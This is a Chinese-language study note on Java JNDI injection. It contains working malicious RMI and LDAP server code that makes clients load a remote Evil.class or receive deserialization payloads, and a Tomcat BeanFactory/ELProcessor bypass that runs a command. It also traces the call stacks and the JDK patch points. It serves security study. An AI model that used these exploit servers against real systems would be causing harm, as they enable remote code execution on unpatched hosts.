参考:https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/
JNDI-RMI demo 测试jdk8u73。
server
public class Server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1099); //一定要以斜杠结尾 String factoryUrl = "http://127.0.0.1:8000/"; // 对应http://127.0.0.1:8000/下的Evil.class Reference reference = new Reference("Evil","Evil", factoryUrl); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("Foo", wrapper); System.err.println("Server ready, factoryUrl:" + factoryUrl); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
client
public class Client { public static void main(String[] args) throws Exception { InitialContext initialContext=new InitialContext(); initialContext.lookup("rmi://localhost:1099/Foo"); } }
调用栈
其中调用了RegistryImpl_Stub#lookup
,所以可以用之前RMI反序列化分析的攻击手法攻击客户端。
InitialContext#lookup GenericURLContext#lookup com.sun.jndi.rmi.registry.RegistryContext#lookup this#registry.lookup //this.registry是个RegistryImpl_Stub this#decodeObject ReferenceWrapper_Stub#getReference UnicastRef#invoke NamingManager#getObjectInstance getObjectFactoryFromReference(ref, factory) //ref是Reference对象,factory是Evil helper.loadClass(factoryName); //尝试从classpath加载Evil类 helper.loadClass(factoryName, codebase);//若加载不到,则使用codebase http://127.0.0.1:8000/ Class.forName(className, true, urlClassLoader);//使用URLClassLoader加载类
修复 jdk8u121后修复。
修复位置
在RegistryContext#decodeObject
中,添加判断trustURLCodebase是否为true,不为true则:The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
。
JNDI-LDAP 测试版本JDK8u73
demo java代码实现的 ldap server,参考自:https://www.cnblogs.com/nice0e3/p/13958047.html
package jndi_ldap; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class Server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#Evil"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
client
public class Client { public static void main(String[] args) { try { new InitialContext().lookup("ldap://127.0.0.1:7777/fooooooooooooo");//随便填 } catch (NamingException e) { e.printStackTrace(); } } }
调用栈
InitialContext#lookup LdapURLContext#lookup GenericURLContext#lookup PartialCompositeContext#lookup ComponentContext#p_lookup LdapCtx#c_lookup this.doSearchOnce(var1, "(objectClass=*)", var22, true) //这一步就往ldap服务器发送请求了 Obj#decodeObject //返回一个Reference Obj#decodeReference DirectoryManager#getObjectInstance NamingManager#getObjectFactoryFromReference VersionHelper#loadClass
LdapCtx#doSearchOnce
执行结束后,server就已经输出了Send LDAP reference result for asd redirecting to http://127.0.0.1:8000/Evil.class
。
Obj#decodeObject
执行结束后返回的结果:
修复 JDK 11.0.1、8u191、7u201、6u211之后修复。
在VersionHelper#loadClass
中,添加了判断com.sun.jndi.ldap.object.trustURLCodebase
是否为true
高版本JDK JNDI注入 以JDK8u191为分界,<8u191用上面的方式,≥8u191用下面的
参考:https://xz.aliyun.com/t/8214
反序列化 本地测试,JDK17仍然生效。
server
public class Server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { public OperationInterceptor () { } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { System.out.println("Sendding unserialized data..."); e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData", Util.serialize(new Bean())); // 这里放序列化数据 result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
client
public class Client { public static void main(String[] args) { try { new InitialContext().lookup("ldap://127.0.0.1:7777/fooooooooooooo");//随便填 } catch (NamingException e) { e.printStackTrace(); } } }
调用栈
InitialContext#lookup LdapURLContext#lookup GenericURLContext#lookup PartialCompositeContext#lookup ComponentContext#p_lookup LdapCtx#c_lookup this.doSearchOnce(var1, "(objectClass=*)", var22, true) //这一步就往ldap服务器发送请求了 Obj#decodeObject Obj#deserializeObject readObject
加载本地类 JDK8u202可以打通。
server
public class Server { public static void main(String[] args) throws Exception{ System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("remoteobj", referenceWrapper); } }
ResourceRef需要tomcat依赖,这里用内置tomcat
<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.55</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>8.5.55</version> </dependency>
高版本的tomcat修复了这一利用点,会提示:(我第一次测试使用8.5.81,也有这个提示,换成8.5.55可以。
二月 13, 2024 1:51:21 下午 org.apache.naming.factory.BeanFactory getObjectInstance 警告: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found. Exception in thread "main" javax.naming.NamingException: No set method found for property [x] at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321) at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at jndi_rmi.bypass.Client.main(Client.java:9)
client
public class Client { public static void main(String[] args) throws NamingException { InitialContext initialContext=new InitialContext(); initialContext.lookup("rmi://localhost:1097/remoteobj"); } }
调用栈
InitialContext#lookup GenericURLContext#lookup com.sun.jndi.rmi.registry.RegistryContext#lookup this#registry.lookup //this.registry是个RegistryImpl_Stub this#decodeObject ReferenceWrapper_Stub#getReference UnicastRef#invoke NamingManager#getObjectInstance getObjectFactoryFromReference(ref, factory) //ref是Reference对象,factory是Evil helper.loadClass(factoryName); //加载org.apache.naming.factory.BeanFactory BeanFactory.newInstance BeanFactory#getObjectInstance method.invoke(bean, valueArray);//这3个变量都来自ResourceRef